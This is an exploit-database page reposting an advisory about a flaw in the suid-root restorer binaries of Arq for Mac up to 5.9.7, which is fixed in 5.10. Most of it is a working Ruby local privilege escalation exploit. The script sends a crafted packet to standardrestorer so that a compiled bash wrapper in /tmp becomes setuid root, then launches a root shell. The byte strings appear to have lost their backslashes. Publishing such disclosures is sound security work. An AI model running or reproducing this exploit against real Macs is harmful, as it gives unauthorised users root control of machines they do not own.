Get Rid of Ads!

Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

As well as the other bugs affecting Arq <= 5.9.6 there is also another issue with the suid-root restorer binaries in Arq for Mac. There are three of them and they are used to execute restores o As well as the other bugs affecting Arq <= 5.9.6 there is also another issue with the suid-root restorer binaries in Arq for Mac. There are three of them and they are used to execute restores of backed up files from the various cloud providers.

After reversing the inter-app protocol I discovered that the path to the restorer binary was specified as part of the data packet sent by the UI. After receiving this, the restorer binaries then set +s and root ownership on this path. This means we can specify an arbitrary path which will receive +s and root ownership.


This issue is fixed in Arq 5.10.

https://m4.rkw.io/arq_5.9.7.rb.txt
b274aed5fabfe5e1ed7ff14cc6f0ff20f645ecfe0ec329b23cd7410a3cf990a6
----------------------------------------------------------------------------
#!/usr/bin/env ruby

##################################################################
###### Arq <= 5.9.7 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
##################################################################

s = File.stat("/Applications/Arq.app/Contents/Resources/standardrestorer")

if s.mode != 0104755 or s.uid != 0
puts "Not vulnerable - standardrestorer is not suid root."
exit 1
end

binary_target = "/tmp/arq_597_exp"

d = "x01x00x00x00x00x00x00x00"
e = "x00x00x00x00x03"
z = "0000"
target = sprintf("%s%s-%s-%s-%s-%s%s%s", z,z,z,z,z,z,z,z)
plist = "<plist version="1.0"><dict></dict></plist>"
backup_set = "0" * 40
hmac = "0" * 40

payload = sprintf(
"%s%s%s%s$%s%sx00x00x00x00x01x00x00x00x00x00x00x00x02x00x00" +
"x00x00x00x00x00x09x00x00x02xd0x96x82xefxd8x00x00x00x00" +
"x00x00x00x00x00x00x01x00x00x00x00x00x00x00x08x30x2ex30" +
"x30x30x30x30x30x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00%s%s%sx28%sx01x00x00x00%sx00x00x00%s" +
"x00x00x00x00x16x00x00x00x02%sx28%sx01x00x00x00%sx00x00" +
"x00%sx00x00x00x00x00x00x00x01xf5x00x00x00x00x00x00x00" +
"x14x00%sx00x00x00x00x03%sx0a",
d, binary_target.length.chr, binary_target,
d, target,
d, plist.length.chr, plist,
d, backup_set,
d, d, d, hmac,
d, d, d, e * 10
)

shellcode = "#include <unistd.h> int main() { setuid(0);setgid(0);"+
"execl("/bin/bash","bash","-c","rm -f #{binary_target};/bin/bash","+
"NULL);return 0; }"

IO.popen("gcc -xc -o #{binary_target} -", mode="r+") do |io|
io.write(shellcode)
io.close
end

IO.popen("/Applications/Arq.app/Contents/Resources/standardrestorer " +
"2>/dev/null", mode="r+") do |io|
io.getc && io.write(payload)
end

timeout=3
i=0

while (s = File.stat(binary_target)) && (s.mode != 0104755 or s.uid != 0)
sleep 0.1
i += 1

if i >= (timeout * 10)
break
end
end

if s.mode == 0104755 and s.uid == 0
system(binary_target)
exit 0
end

puts "exploit failed"